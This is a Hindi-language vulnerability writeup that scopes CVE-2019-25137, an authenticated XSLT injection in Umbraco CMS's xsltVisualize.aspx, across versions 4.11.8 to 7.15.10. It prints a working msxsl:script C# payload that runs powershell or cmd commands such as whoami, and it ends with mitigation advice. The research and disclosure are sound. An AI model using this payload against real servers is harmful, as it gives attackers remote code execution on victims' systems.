
CVE-2019-25137 की पूरी सीमा की जांच करने वाला एक राइटअप
CVE-2019-25137 Umbraco CMS में एक XSLT इंजेक्शन कमजोरी है। यह कमजोरी XSLT (एक्सटेंसिव स्टाइलशीट लैंग्वेज ट्रांसफॉर्मेशन) विज़ुअलाइज़र वेबपेज में मौजूद है। इस वेबपेज के लिए संवेदनशील URI /umbraco/developer/Xslt/xsltVisualize.aspx है।
XSLT विज़ुअलाइज़र का सफल शोषण लक्षित सिस्टम पर C# कोड निष्पादित कर सकता है। कमजोरी का शोषण करने के लिए, उपयोगकर्ता को Umbraco CMS के लिए वैध व्यवस्थापक क्रेडेंशियल्स की आवश्यकता होती है।
CVE-2019-25137 के लिए प्रूफ ऑफ कॉन्सेप्ट msxsl:script एलिमेंट का उपयोग करता है। यह एलिमेंट XSLT ट्रांसफॉर्मेशन में C# जैसी अतिरिक्त प्रोग्रामिंग भाषाओं के उपयोग की अनुमति देता है।
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
XSLT पेलोड निम्नलिखित C# कोड को निष्पादित करने का प्रयास करेगा।
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
C# कोड को निम्नलिखित कथनों में विभाजित किया गया है - सभी परिभाषाएँ Microsoft की वेबसाइट पर प्रलेखित हैं।
| Function | अवलोकन |
|---|---|
| System.Diagnostics.Process proc | स्थानीय और दूरस्थ प्रक्रियाओं तक पहुंच प्रदान करता है और उपयोगकर्ता को स्थानीय सिस्टम प्रक्रियाओं को प्रारंभ और रोकने में सक्षम बनाता है, इस प्रक्रिया को 'proc' कहा जाता है। |
| proc.StartInfo.FileName | उस एप्लिकेशन का नाम परिभाषित करता है जिसे उपयोगकर्ता प्रारंभ करना चाहता है (powershell या cmd)। |
| proc.StartInfo.Arguments | FileName द्वारा आवश्यक किसी भी अतिरिक्त चर को परिभाषित करता है। |
| proc.StartInfo.UseShellExecute | एक मान जो इंगित करता है कि प्रक्रिया प्रारंभ करने के लिए ऑपरेटिंग सिस्टम शेल का उपयोग करना है या नहीं, powershell या cmd का उपयोग होने के कारण इसे false पर सेट किया गया है। |
| proc.StartInfo.RedirectStandardOutput | एक मान जो इंगित करता है कि किसी एप्लिकेशन का आउटपुट StandardOutput स्ट्रीम पर लिखा जाता है या नहीं, इसे true पर सेट किया गया है। |
| proc.Start() | 'proc' प्रक्रिया संसाधन प्रारंभ करता है और इसे Process घटक के साथ संबद्ध करता है। |
| string output = proc.StandardOutput.ReadToEnd() | 'proc' पर समकालिक पढ़ने के संचालन करता है और इसे 'output' चर पर रीडायरेक्ट करता है। |
चूंकि Umbraco एक ओपन सोर्स CMS है, मैंने उनकी वेबसाइट से विभिन्न स्थापना संस्करण प्राप्त किए ताकि यह निर्धारित कर सकूं कि कौन से संस्करण, पुराने और नए दोनों, में अभी भी xsltVisualize.aspx मौजूद हो सकता है।

विश्लेषण इंगित करता है कि xsltVisualize.aspx फ़ाइल Umbraco CMS संस्करण 4.11.8 से लेकर संस्करण 7.15.10 तक मौजूद है। यह फ़ाइल और संपूर्ण Development फ़ोल्डर संस्करण 8.0.0 और उससे ऊपर के संस्करणों में मौजूद नहीं है।

यह प्रदर्शित करने के लिए कि सबसे प्रारंभिक संस्करण भी CVE-2019-25137 के प्रति संवेदनशील है, मैंने Umbraco 4.11.8 का एक परीक्षण उदाहरण स्थापित किया।

Umbraco CMS 4.11.8 के xsltVisualize.aspx की तुलना Umbraco CMS संस्करण 7.12.4 के साथ करने पर पता चलता है कि जहां थोड़े अंतर हैं, वहीं वेबपेज की कार्यक्षमता समान है।

एक्सप्लॉइट का परीक्षण करने के लिए, उपयोगकर्ता को xsltSelection फ़ील्ड के भीतर पेलोड सबमिट करना होगा।

पहले प्रदान किए गए पेलोड का उपयोग करके, मैं रिमोट कोड निष्पादन प्राप्त करने में सक्षम था, जो दर्शाता है कि यह संस्करण भी संवेदनशील है। नीचे दी गई छवि whoami चलने को दर्शाती है।
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

यह प्रदर्शित करने के लिए कि xsltVisualize.aspx के साथ Umbraco का सबसे हालिया संस्करण भी संवेदनशील है, मैंने Umbraco 7.15.10 का एक परीक्षण उदाहरण स्थापित किया।

Umbraco CMS 7.15.10 के xsltVisualize.aspx की तुलना Umbraco CMS संस्करण 7.12.4 के साथ करने पर पता चलता है कि वे समान हैं।

/umbraco/developer/Xslt/xsltVisualize.aspx URI पर नेविगेट करने से संकेत मिलता है कि फ़ाइल वास्तव में मौजूद है।

पहले प्रदान किए गए समान पेलोड का उपयोग करके, मैं फिर से रिमोट कोड निष्पादन प्राप्त करने में सक्षम था, जो दर्शाता है कि यह संस्करण भी संवेदनशील है। नीचे दी गई छवि whoami चलने को दर्शाती है।
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

ये उदाहरण दर्शाते हैं कि CVE-2019-25137 Umbraco संस्करणों पर 7.12.4 से अलग मौजूद है। 4.11.8 और 7.15.10 के बीच के सभी संस्करणों में संवेदनशील वेबपेज है और इसलिए उन्हें CVE अपडेट में शामिल किया जाना चाहिए। CVE-2019-25137 को xsltVisualize.aspx फ़ाइल तक पहुंच हटाकर या Umbraco के नवीनतम संस्करण में अपडेट करके कम किया जा सकता है।
Umbraco रिलीज़ दिनांक - https://our.umbraco.com/download/releases/774
Umbraco संस्करण - https://our.umbraco.com/download/releases
XSLT परिभाषा - https://en.wikipedia.org/wiki/XSLT
उपयोग किया गया पेलोड - https://github.com/noraj/Umbraco-RCE